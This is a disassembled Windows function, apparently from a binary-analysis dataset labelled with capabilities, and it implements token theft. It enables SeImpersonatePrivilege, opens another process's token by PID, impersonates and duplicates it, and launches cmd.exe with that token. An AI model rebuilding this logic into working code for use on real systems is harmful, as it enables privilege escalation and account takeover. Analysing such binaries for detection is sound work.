Function at 0x140001070
Capabilities:
Create process on windows
Impersonate user

Disassembly:
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x10], rax
cmp ecx, 2
jge 0x1400010aa
mov rdx, qword [rdx]
lea rcx, str.Usage:__s_PID_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400013cb
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x148], rdi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x60]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400010f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcessToken_failed._Error:__d_n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x1400013c3
mov qword [rsp + 0x130], rbx
lea r8, [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
lea rdx, str.SeImpersonatePrivilege
xor ecx, ecx
mov qword [rsp + 0x140], rsi
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
xor esi, esi
test eax, eax
jne 0x140001141
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____LookupPrivilegeValue_failed._Error:__d_n
call fcn.140001010
jmp 0x1400011c4
mov rax, qword [rsp + 0x68]
lea r8, [rsp + 0x70]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x74], rax
mov rcx, rbx
mov dword [rsp + 0x70], 1
mov dword [rsp + 0x7c], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140001195
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____AdjustTokenPrivileges_failed._Error:__d_n
call fcn.140001010
jmp 0x1400011c4
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x1400011b8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____The_token_does_not_have_the_specified_privilege._Error:__d_n
call fcn.140001010
jmp 0x1400011c4
lea rcx, str.___SeImpersonatePrivilege_enabled__n
call fcn.140001010
mov r8d, edi
mov edx, 1
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001203
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcess_failed._Error:__d_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [rbx - 1]
jmp 0x1400013b3
lea rcx, str.___Process_successfully_opened__n
call fcn.140001010
lea r8, [rsp + 0x50]
mov edx, 0x2000000
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x14000124d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____OpenProcessToken_failed._Error:__d_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400013b3
lea rcx, str.___New_Process_Token_successfully_opened__n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x14000127a
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____ImpersonateLoggedOnUser_failed._Error:__d_n
jmp 0x14000136f
lea rcx, str.___Impersonation_Successful__n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0x2000000
mov qword [rsp + 0x58], rsi
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x1400012e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____DuplicateTokenEx_failed._Error:__d_n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400013b3
lea rcx, str.___TokenEx_Duplicated__n
call fcn.140001010
mov rcx, qword [rsp + 0x58]
lea r9, str.cmd.exe
xorps xmm1, xmm1
mov dword [rbp - 0x60], 0x68
xor eax, eax
xor r8d, r8d
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
mov dword [rbp + 4], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x38], rax
lea edx, [r8 + 1]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], 0x410
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x5c], xmm1
movups xmmword [rbp - 0x4c], xmm1
movups xmmword [rbp - 0x3c], xmm1
movups xmmword [rbp - 0x2c], xmm1
movups xmmword [rbp - 0x1c], xmm1
movups xmmword [rbp - 0xc], xmm1
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x140001391
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____CreateProcessWithTokenW_failed._Error:__d_n
mov edx, eax
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x1400013b3
lea rcx, str.___New_Process_Successfully_opened_with_Duplicated_Token__nProcess_Spawning..._n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rsi, qword [rsp + 0x140]
mov rbx, qword [rsp + 0x130]
mov rdi, qword [rsp + 0x148]
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400013f0
add rsp, 0x120
pop rbp
ret